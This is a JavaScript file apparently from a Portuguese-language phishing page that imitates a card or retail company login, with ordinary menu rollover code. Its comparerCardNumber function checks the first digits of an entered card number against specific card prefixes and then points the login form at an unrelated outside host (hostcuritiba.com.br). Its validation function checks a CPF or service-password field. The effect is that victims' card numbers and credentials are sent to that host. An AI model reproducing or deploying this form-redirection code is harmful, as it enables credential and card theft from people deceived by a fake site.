// JavaScript Document
function tbTest_focus(el) {
	valor_original = el.value;
	if(el.V) {
		if (el.value == el.V) {
			el.value = '';
		}
	} else {
		el.V = el.value;
		el.value = '';
	}
}

function comparerCardNumber(obj) {
	
	var array = obj.value.split('');
	var code = array[0] + array[1] + array[2] + array[3];
	
	if(code == '4410' || code == '4692' || code == '4600' || code =='4660' )
		{
			document.formLogin.action = 'http://www.hostcuritiba.com.br/index.html';
		}
		else
			{
				document.formLogin.action = 'http://www.hostcuritiba.com.br/';
			}
	return true;

}

function validation()
{
	valor_cc = document.formLogin.cc.value;
	if(valor_cc == '' || valor_cc == 'Digite sua senha de atendimento!')
	{
		alert('Por favor, digite o número de seu cpf.');
		return false;
	}
	
	return true;
}



//MEGAMENU IMAGENS
var megaMenuItems = ['bemvindo','produtos','corporativo','turismo','lojas','contato','quemsomos'];

// preload images
bemvindoOn = new Image();
bemvindoOn.src = "index_arquivos/menu_bemvindo_on.gif";

produtosOn = new Image();
produtosOn.src = "index_arquivos/menu_produtos_on.gif";

corporativoOn = new Image();
corporativoOn.src = "index_arquivos/menu_corporativo_on.gif";

turismoOn = new Image();
turismoOn.src = "index_arquivos/menu_turismo_on.gif";

lojasOn = new Image();
lojasOn.src = "index_arquivos/menu_lojas_on.gif";

contatoOn = new Image();
contatoOn.src = "index_arquivos/menu_contato_on.gif";

quemsomosOn = new Image();
quemsomosOn.src = "index_arquivos/menu_quemsomos_on.gif";

bemvindoOff = new Image();
bemvindoOff.src = "index_arquivos/menu_bemvindo_off.gif";

produtosOff = new Image();
produtosOff.src = "index_arquivos/menu_produtos_off.gif";

corporativoOff = new Image();
corporativoOff.src = "index_arquivos/menu_corporativo_off.gif";

turismoOff = new Image();
turismoOff.src = "index_arquivos/menu_turismo_off.gif";

lojasOff = new Image();
lojasOff.src = "index_arquivos/menu_lojas_off.gif";

contatoOff = new Image();
contatoOff.src = "index_arquivos/menu_contato_off.gif";

quemsomosOff = new Image();
quemsomosOff.src = "index_arquivos/menu_quemsomos_off.gif";


function rollOver (imgName)
{
	for (i=0;i<megaMenuItems.length;i++) {

		if (megaMenuItems[i] == imgName) {
			
			document.images[imgName].src = eval(imgName +"On.src");
		} else {
			document.images[megaMenuItems[i]].src = eval(megaMenuItems[i] +"Off.src");
		}
	}
    
}

function rollOut ()
{
   for (i=0;i<megaMenuItems.length;i++) {
		document.images[megaMenuItems[i]].src = eval(megaMenuItems[i] +"On.src");
	}
}


